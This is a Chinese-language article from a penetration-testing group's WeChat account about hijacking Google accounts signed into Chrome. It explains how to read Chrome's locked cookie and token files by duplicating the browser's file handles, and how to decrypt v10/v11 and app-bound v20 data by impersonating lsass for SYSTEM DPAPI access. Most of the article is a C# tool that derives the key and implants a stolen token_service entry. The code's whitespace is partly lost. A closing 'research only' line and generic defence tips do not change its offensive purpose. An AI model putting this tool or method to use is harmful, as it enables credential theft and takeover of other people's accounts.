Google Chrome是一款由Google公司开发的网页浏览器,基于Google自家开放源代码的Chromium制造,但是包含非开放源代码套件。Chrome及其他基于Chromium制作的浏览器,目前占据的整个浏览器市场的大半壁江山。
在攻击活动中,经常会有需要接管目标账户,进行进一步信息收集或取证的需求。目前已有大量工具可以用于从浏览器中提取密码、Cookies等敏感信息,但一方面绝大多数公开工具存在缺陷,无法适应可能遇到i的各种环境,另一方面Chrome浏览器对于Google账户的凭据储存存在特殊机制,无法通过Cookies直接实现接管。
Google账户登录验证
在Edge等浏览器中,如果用户登录了Google账户,可以通过提取相关Cookies的方法,直接接管相应账号,但是在Chrome浏览器中,这样是行不通的。Chrome中对Google的登录有自己的一些机制。
简单来说,可以通过在Chrome浏览器中访问chrome://signin-internals/来查看Google账号登陆情况。这里有一个重要参数token_service需要我们修改,具体怎么提取和修改呢?
一些准备工作
在历代的Chromium系列浏览器中,加解密都是基于DPAPI及AES-256-GSM。Chromium系列浏览器的配置文件保存在形如"%localappdata%GoogleChromeUser Data"的目录中。其中在Local State文件中保存了一些通用且关键的Key信息。而默认用户配置文件目录是Default,如果有其他用户,则会有Profile加空格加数字的文件夹存在。其中的Cookies(高版本为NetworkCookies)文件储存了Cookies信息,Web Data文件储存了一个关键的token_service值。
在Chrome中,正是这个token_service,保存了重要信息,来保证Google账号登陆。我们可以通过替换本地浏览器的Web Data文件中此条,并导入Google相关Cookies的方式,完成接管。
Chromium系列浏览器对Cookies文件的锁定读取
在Chrome的114版本中,增加了一个功能LockProfileCookieDatabase(在更晚的更新中,此功能作为永久功能保留并删除了此选项),这个功能是为了防止其他软件随意读取敏感的Cookies文件,其实现方法是在使用CreateFile的API时,其SHARE_MODE参数中不添加SHARE_READ参数。这样就实现了对该文件的独占访问。当Chrome进程运行时,其他进程无法读取该文件。
直接通过api读取文件是不太现实的了,这就需要我们通过一些特殊的方法去获取该文件内容了。一些的可用的方法如下:
VSS
VSS 依托于 Windows 系统的存储架构,通过协调多个组件,如请求者(Requestor)、写入器(Writer)和提供者(Provider)来创建卷影副本。当触发卷影复制操作时,写入器负责暂停相关应用程序对文件的写入操作,确保数据一致性,提供者则负责实际的数据复制工作,最终生成一个可供访问的卷影副本,该副本反映了特定时间点的文件系统状态。VSS 协调为要备份的数据创建一致的卷影副本(也称为快照或时间点副本)所需的操作。
这个操作需要管理员权限,且在实际操作中成功率存疑,并且VSS可能对系统性能造成影响。
Low Level Disk Reading
常规文件系统访问通过目录、文件分配表(FAT)或 NTFS 元数据等抽象层,将用户对文件的逻辑操作(如打开、读取、写入)转换为磁盘物理地址的读写指令。低级磁盘读取则绕过部分或全部此类抽象,直接向磁盘控制器发送指令,获取磁盘原始数据块。
这个操作同样需要管理员权限,但是对不同文件系统的解析均没有非常稳定的开源实现。
Inject
可以通过将提取文件或解密工具注入进浏览器对应进程,即可直接正常打开独占句柄的文件。
但众所周知,注入方案众多,权限要求不一,但稳定性及免杀方面很难保证。
DuplicateHandle
当一个进程锁定文件后,其他进程无法直接通过常规文件打开函数访问。但借助 DuplicateHandle 函数,可以从锁定文件的源进程中复制文件句柄到目标进程。在复制过程中,合理设置访问权限参数,使得目标进程获得对该文件的读取权限,即使文件在源进程中处于锁定状态,目标进程也能通过复制得到的句柄读取文件内容。
这个操作只需要和目标进程同级别权限,并且行为较为隐秘。
具体实现
-
• 使用NtQueryInformationFile的FileProcessIdsUsingFileInformation参数,直接获取具有锁定文件句柄的进程。 -
• 通过NtQuerySystemInformation的SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX参数获取全局所有句柄,并根据上一步获得的进程名筛选该进程句柄。 -
• 依次复制句柄至自己进程并通过NtQueryObject查询句柄信息,直至找到目标句柄。
* 使用该句柄读取文件内容即可。
Chromium系列浏览器的解密-V10/V11/<80
对于Chrome 80之前的版本,可以直接使用DPAPI解密,对于80之后的版本,则修改为AES-256-GCM加密,加密过程可以参考os_crypt_win.cc,解密时可以根据开头为v10或v11判断为新版本加密,对于新版本,password_value的开头版本号为3位,其后12位为IV。AES加密使用的key来自浏览器数据目录的Local State文件,此文件内容为json,其中encrypted_key是base64编码的key。
Chromium系列浏览器的解密-V20
类似V10版本,但是需要从Local State文件中先获取app_bound_encrypted_key,对其base64解码后可获得一个APPB开头的key,先通过SYSTEM权限的DPAPI进行解密后再通过当前用户进行DPAPI解密,并取其后60位,以
sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=
经过base64后的值为key,后60位中前12位为IV,60位中后16位tag,对中间32位进行Aes-Gcm解密即可获得最终的key,这个key可以用类似之前版本的方案去正常解密数据库内容。
这套流程需要最低管理员权限,所以目前在低权限放弃V20解密,管理员权限的话,可以从lsass(高版本系统lsass存在PPL保护,可以考虑换成本session的WinLogon进程)进程获取SYSTEM句柄去模拟。
如果考虑程序可以直接system执行的话,就可以配合获取explorer或其他用户权限进程模拟即可。
最后要注意,解密的如果是Cookies,解密结果要去除前32位乱码,Web Data的内容无需此步处理。
解密结果的使用
最后我们会获取到解密的token_service和Google相关的cookies。Cookies可以通过Global Cookie Manager等工具导入,但Web Data没有现成工具使用,我们可以自己写一个加密脚本进行导入。
using Community.CsharpSqlite.SQLiteClient;using System;using System.Diagnostics;using System.IO;using System.Linq;using System.Runtime.InteropServices;using System.Security.Cryptography;using System.Text;using System.Text.RegularExpressions;namespaceWebDataReplace{internalclassProgram {staticvoidMain(string[] args) { Console.Write("ID:");string id = Console.ReadLine(); Console.Write("Token:");string token = Console.ReadLine();string webdatapath = Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\Chrome\User Data\Default"), "Web Data");using (SqliteConnection conn = new SqliteConnection(@"Data Source=" + webdatapath + ";Version=3;")) { conn.Open(); SqliteCommand cmd = new SqliteCommand(webdata(id, token), conn); cmd.ExecuteNonQuery(); } Console.WriteLine("OK"); Console.ReadLine(); }privatestaticstringwebdata(string id, string token) {byte[] key = GetAppBoundKey();byte[] iv = newbyte[12];byte[] result = AesGcm.Encrypt(key, iv, null, Encoding.UTF8.GetBytes(token))[0];byte[] tag = AesGcm.Encrypt(key, iv, null, Encoding.UTF8.GetBytes(token))[1];byte[] final = newbyte[31 + result.Length]; final[0] = (byte)'v'; final[1] = (byte)'2'; final[2] = (byte)'0'; Array.Copy(iv, 0, final, 3, 12); Array.Copy(result, 0, final, 15, result.Length); Array.Copy(tag, 0, final, 15 + result.Length, 16);string t = BitConverter.ToString(final, 0).Replace("-", "");string output = "INSERT INTO token_service (service,encrypted_token) VALUES ('" + id + "',x'" + t + "');";return output; }publicenum PROCESS_ACCESS_FLAGS : uint { PROCESS_ALL_ACCESS = 0x001F0FFF, PROCESS_CREATE_PROCESS = 0x0080, PROCESS_CREATE_THREAD = 0x0002, PROCESS_DUP_HANDLE = 0x0040, PROCESS_QUERY_INFORMATION = 0x0400, PROCESS_QUERY_LIMITED_INFORMATION = 0x1000, PROCESS_SET_INFORMATION = 0x0200, PROCESS_SET_QUOTA = 0x0100, PROCESS_SUSPEND_RESUME = 0x0800, PROCESS_TERMINATE = 0x0001, PROCESS_VM_OPERATION = 0x0008, PROCESS_VM_READ = 0x0010, PROCESS_VM_WRITE = 0x0020, SYNCHRONIZE = 0x00100000 } [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]publicstaticexternboolRevertToSelf(); [DllImport("advapi32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)]publicstaticexternboolOpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle); [DllImport("advapi32.dll")]publicexternstaticboolDuplicateToken(IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle); [DllImport("advapi32.dll", SetLastError = true)]publicstaticexternboolSetThreadToken(IntPtr pHandle, IntPtr hToken); [DllImport("kernel32.dll", SetLastError = true)]publicstaticextern IntPtr OpenProcess(PROCESS_ACCESS_FLAGS dwDesiredAccess, bool bInheritHandle, int dwProcessId);publicstaticboolImpersonateProcessToken(int pid) { IntPtr hProcess = OpenProcess(PROCESS_ACCESS_FLAGS.PROCESS_QUERY_INFORMATION, true, pid);if (hProcess == IntPtr.Zero) returnfalse; IntPtr hToken;if (!OpenProcessToken(hProcess, 0x00000002 | 0x00000004, out hToken)) returnfalse; IntPtr DuplicatedToken = new IntPtr();if (!DuplicateToken(hToken, 2, ref DuplicatedToken)) returnfalse;if (!SetThreadToken(IntPtr.Zero, DuplicatedToken)) returnfalse;returntrue; }publicstaticbyte[] GetAppBoundKey() {try {string filePath = Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\Chrome\User Data"), "Local State");if (!File.Exists(filePath))returnnull;var pattern = new Regex(""app_bound_encrypted_key":"(.*?)"", RegexOptions.Compiled).Matches(File.ReadAllText(filePath).Replace(" ", ""));byte[] masterKey = null;foreach (Match prof in pattern) {if (prof.Success) masterKey = Convert.FromBase64String((prof.Groups[1].Value)); }if (masterKey.Length >= 4 && Encoding.UTF8.GetString(masterKey).StartsWith("APPB")) {byte[] tempresult = newbyte[masterKey.Length - 4]; Array.Copy(masterKey, 4, tempresult, 0, masterKey.Length - 4); masterKey = tempresult; } ImpersonateProcessToken(Process.GetProcessesByName("lsass")[0].Id);byte[] result = ProtectedData.Unprotect(masterKey, null, DataProtectionScope.LocalMachine); RevertToSelf();byte[] Key1 = ProtectedData.Unprotect(result, null, DataProtectionScope.CurrentUser);byte[] Key2 = Key1.Skip(Math.Max(0, Key1.Length - 60)).ToArray();byte[] decryptedData = null;string aesKeyBase64 = "sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=";byte[] aesKey = Convert.FromBase64String(aesKeyBase64);byte[] iv = Key2.Take(12).ToArray();byte[] ciphertext = Key2.Skip(12).Take(32).ToArray();byte[] tag = Key2.Skip(44).Take(16).ToArray(); decryptedData = new AesGcm().Decrypt(aesKey, iv, null, ciphertext, tag);return decryptedData; }catch {returnnull; } } }classAesGcm {publicbyte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag) { IntPtr hAlg = OpenAlgorithmProvider(Native.BCRYPT_AES_ALGORITHM, Native.MS_PRIMITIVE_PROVIDER, Native.BCRYPT_CHAIN_MODE_GCM);var keyDataBuffer = ImportKey(hAlg, key, outvar hKey);byte[] plainText; Native.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo = new Native.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag);byte[] ivData = newbyte[MaxAuthTagSize(hAlg)];int plainTextSize = 0;uint status = Native.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, null, 0, ref plainTextSize, 0x0);if (status != Native.ERROR_SUCCESS)thrownew CryptographicException($"Native.BCryptDecrypt() (get size) failed with status code: {status}"); plainText = newbyte[plainTextSize]; status = Native.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, plainText, plainText.Length, ref plainTextSize, 0x0);if (status == Native.STATUS_AUTH_TAG_MISMATCH)thrownew CryptographicException("Native.BCryptDecrypt(): authentication tag mismatch");if (status != Native.ERROR_SUCCESS)thrownew CryptographicException($"Native.BCryptDecrypt() failed with status code:{status}"); authInfo.Dispose(); Native.BCryptDestroyKey(hKey); Marshal.FreeHGlobal(keyDataBuffer); Native.BCryptCloseAlgorithmProvider(hAlg, 0x0);return plainText; }publicstaticbyte[][] Encrypt(byte[] key, byte[] iv, byte[] aad, byte[] plainText) { IntPtr hAlg = OpenAlgorithmProvider(Native.BCRYPT_AES_ALGORITHM, Native.MS_PRIMITIVE_PROVIDER, Native.BCRYPT_CHAIN_MODE_GCM); IntPtr hKey, keyDataBuffer = ImportKey(hAlg, key, out hKey);byte[] cipher;byte[] tag = newbyte[MaxAuthTagSize(hAlg)];var authInfo = new Native.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, tag);using (authInfo) {byte[] ivData = newbyte[tag.Length];int cipherSize = 0;uint status = Native.BCryptEncrypt(hKey, plainText, plainText.Length, ref authInfo, ivData, ivData.Length, null, 0, ref cipherSize, 0x0);if (status != Native.ERROR_SUCCESS)thrownew CryptographicException(string.Format("Native.BCryptEncrypt() (get size) failed with status code:{0}", status)); cipher = newbyte[cipherSize]; status = Native.BCryptEncrypt(hKey, plainText, plainText.Length, ref authInfo, ivData, ivData.Length, cipher, cipher.Length, ref cipherSize, 0x0);if (status != Native.ERROR_SUCCESS)thrownew CryptographicException(string.Format("Native.BCryptEncrypt() failed with status code:{0}", status)); Marshal.Copy(authInfo.pbTag, tag, 0, authInfo.cbTag); } Native.BCryptDestroyKey(hKey); Marshal.FreeHGlobal(keyDataBuffer); Native.BCryptCloseAlgorithmProvider(hAlg, 0x0);returnnew[] { cipher, tag }; }privatestaticintMaxAuthTagSize(IntPtr hAlg) {byte[] tagLengthsValue = GetProperty(hAlg, Native.BCRYPT_AUTH_TAG_LENGTH);return BitConverter.ToInt32(new[] { tagLengthsValue[4], tagLengthsValue[5], tagLengthsValue[6], tagLengthsValue[7] }, 0); }privatestatic IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode) {uint status = Native.BCryptOpenAlgorithmProvider(outvar hAlg, alg, provider, 0x0);if (status != Native.ERROR_SUCCESS)thrownew CryptographicException($"Native.BCryptOpenAlgorithmProvider() failed with status code:{status}");byte[] chainMode = Encoding.Unicode.GetBytes(chainingMode); status = Native.BCryptSetAlgorithmProperty(hAlg, Native.BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0x0);if (status != Native.ERROR_SUCCESS)thrownew CryptographicException($"Native.BCryptSetAlgorithmProperty(Native.BCRYPT_CHAINING_MODE, Native.BCRYPT_CHAIN_MODE_GCM) failed with status code:{status}");return hAlg; }privatestatic IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey) {byte[] objLength = GetProperty(hAlg, Native.BCRYPT_OBJECT_LENGTH);int keyDataSize = BitConverter.ToInt32(objLength, 0); IntPtr keyDataBuffer = Marshal.AllocHGlobal(keyDataSize);byte[] keyBlob = Concat(Native.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(0x1), BitConverter.GetBytes(key.Length), key);uint status = Native.BCryptImportKey(hAlg, IntPtr.Zero, Native.BCRYPT_KEY_DATA_BLOB, out hKey, keyDataBuffer, keyDataSize, keyBlob, keyBlob.Length, 0x0);if (status != Native.ERROR_SUCCESS)thrownew CryptographicException($"Native.BCryptImportKey() failed with status code:{status}");return keyDataBuffer; }privatestaticbyte[] GetProperty(IntPtr hAlg, string name) {int size = 0;uint status = Native.BCryptGetProperty(hAlg, name, null, 0, ref size, 0x0);if (status != Native.ERROR_SUCCESS)thrownew CryptographicException($"Native.BCryptGetProperty() (get size) failed with status code:{status}");byte[] value = newbyte[size]; status = Native.BCryptGetProperty(hAlg, name, value, value.Length, ref size, 0x0);if (status != Native.ERROR_SUCCESS)thrownew CryptographicException($"Native.BCryptGetProperty() failed with status code:{status}");returnvalue; }publicstaticbyte[] Concat(paramsbyte[][] arrays) {int len = 0;foreach (byte[] array in arrays) {if (array == null)continue; len += array.Length; }byte[] result = newbyte[len - 1 + 1];int offset = 0;foreach (byte[] array in arrays) {if (array == null)continue; Buffer.BlockCopy(array, 0, result, offset, array.Length); offset += array.Length; }return result; } }classNative {#region BCryptpublicconstuint ERROR_SUCCESS = 0x00000000;publicconstuint BCRYPT_PAD_PSS = 8;publicconstuint BCRYPT_PAD_OAEP = 4;publicstaticreadonlybyte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(0x4d42444b);publicstaticreadonlystring BCRYPT_OBJECT_LENGTH = "ObjectLength";publicstaticreadonlystring BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM";publicstaticreadonlystring BCRYPT_AUTH_TAG_LENGTH = "AuthTagLength";publicstaticreadonlystring BCRYPT_CHAINING_MODE = "ChainingMode";publicstaticreadonlystring BCRYPT_KEY_DATA_BLOB = "KeyDataBlob";publicstaticreadonlystring BCRYPT_AES_ALGORITHM = "AES";publicstaticreadonlystring MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider";publicstaticreadonlyint BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 0x00000001;publicstaticreadonlyint BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 0x00000001;publicstaticreadonlyuint STATUS_AUTH_TAG_MISMATCH = 0xC000A002; [DllImport("BCrypt.dll")]publicstaticexternuintBCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation,uint dwFlags); [DllImport("BCrypt.dll")]publicstaticexternuintBCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags); [DllImport("BCrypt.dll", EntryPoint = "BCryptGetProperty")]publicstaticexternuintBCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, refint pcbResult, uint flags); [DllImport("BCrypt.dll", EntryPoint = "BCryptSetProperty")]internalstaticexternuintBCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags); [DllImport("BCrypt.dll")]publicstaticexternuintBCryptImportKey(IntPtr hAlgorithm, IntPtr hImportKey, [MarshalAs(UnmanagedType.LPWStr)] string pszBlobType,out IntPtr phKey, IntPtr pbKeyObject,int cbKeyObject,byte[] pbInput, //blob of type BCRYPT_KEY_DATA_BLOB + raw key data = (dwMagic (4 bytes) | uint dwVersion (4 bytes) | cbKeyData (4 bytes) | data)int cbInput,uint dwFlags); [DllImport("BCrypt.dll")]publicstaticexternuintBCryptDestroyKey(IntPtr hKey); [DllImport("BCrypt.dll")]internalstaticexternuintBCryptDecrypt(IntPtr hKey,byte[] pbInput,int cbInput,ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo,byte[] pbIV,int cbIV,byte[] pbOutput,int cbOutput,refint pcbResult,int dwFlags); [DllImport("bcrypt.dll")]publicstaticexternuintBCryptEncrypt(IntPtr hKey,byte[] pbInput,int cbInput,ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo,byte[] pbIV, int cbIV,byte[] pbOutput,int cbOutput,refint pcbResult,uint dwFlags); [StructLayout(LayoutKind.Sequential)]publicstruct BCRYPT_PSS_PADDING_INFO {publicBCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt) {this.pszAlgId = pszAlgId;this.cbSalt = cbSalt; } [MarshalAs(UnmanagedType.LPWStr)]publicstring pszAlgId;publicint cbSalt; } [StructLayout(LayoutKind.Sequential)]publicstruct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable {publicint cbSize;publicint dwInfoVersion;public IntPtr pbNonce;publicint cbNonce;public IntPtr pbAuthData;publicint cbAuthData;public IntPtr pbTag;publicint cbTag;public IntPtr pbMacContext;publicint cbMacContext;publicint cbAAD;publiclong cbData;publicint dwFlags;publicBCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag) : this() { dwInfoVersion = BCRYPT_INIT_AUTH_MODE_INFO_VERSION; cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO));if (iv != null) { cbNonce = iv.Length; pbNonce = Marshal.AllocHGlobal(cbNonce); Marshal.Copy(iv, 0, pbNonce, cbNonce); }if (aad != null) { cbAuthData = aad.Length; pbAuthData = Marshal.AllocHGlobal(cbAuthData); Marshal.Copy(aad, 0, pbAuthData, cbAuthData); }if (tag != null) { cbTag = tag.Length; pbTag = Marshal.AllocHGlobal(cbTag); Marshal.Copy(tag, 0, pbTag, cbTag); cbMacContext = tag.Length; pbMacContext = Marshal.AllocHGlobal(cbMacContext); } }publicvoidDispose() {if (pbNonce != IntPtr.Zero) Marshal.FreeHGlobal(pbNonce);if (pbTag != IntPtr.Zero) Marshal.FreeHGlobal(pbTag);if (pbAuthData != IntPtr.Zero) Marshal.FreeHGlobal(pbAuthData);if (pbMacContext != IntPtr.Zero) Marshal.FreeHGlobal(pbMacContext); } } [StructLayout(LayoutKind.Sequential)]publicstruct BCRYPT_OAEP_PADDING_INFO {publicBCRYPT_OAEP_PADDING_INFO(string alg) { pszAlgId = alg; pbLabel = IntPtr.Zero; cbLabel = 0; } [MarshalAs(UnmanagedType.LPWStr)]publicstring pszAlgId;public IntPtr pbLabel;publicint cbLabel; }#endregion }}
截至这里,也就完成了在Chrome浏览器上接管Google的原理介绍和方案实现。
仅供研究,勿作他用
防范方式
-
• 启用双重验证:为Google账户启用双重验证,例如通过手机验证码或身份验证器应用,可有效防止未经授权的登录。 -
• 设置强密码:使用复杂且独特的密码,并定期更换,避免在不同平台使用相同密码。 -
• 更新浏览器和扩展程序:确保Chrome浏览器及扩展程序始终保持最新版本,以修复已知漏洞。 -
• 谨慎下载扩展程序:仅从官方商店下载扩展程序,避免安装权限过高的插件。 -
• 启用安全浏览功能:确保Chrome的安全浏览功能已开启,以检测并警告恶意网站。 -
• 定期清理数据:定期清除浏览历史、Cookies和缓存,减少隐私泄露风险。 -
• 提高安全意识:警惕钓鱼邮件和可疑链接,避免在不安全的网站上输入账户信息。 -
• 使用安全工具:安装可靠的杀毒软件和防火墙,防止恶意软件入侵。 -
• 绑定手机号:将Google账户与手机号绑定,可显著提升账户安全性。
通过以上措施,可以有效降低Chrome浏览器中Google账户被接管的风险。
原文始发于微信公众号(君立渗透测试研究中心):Chrome浏览器的Google账户接管研究
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论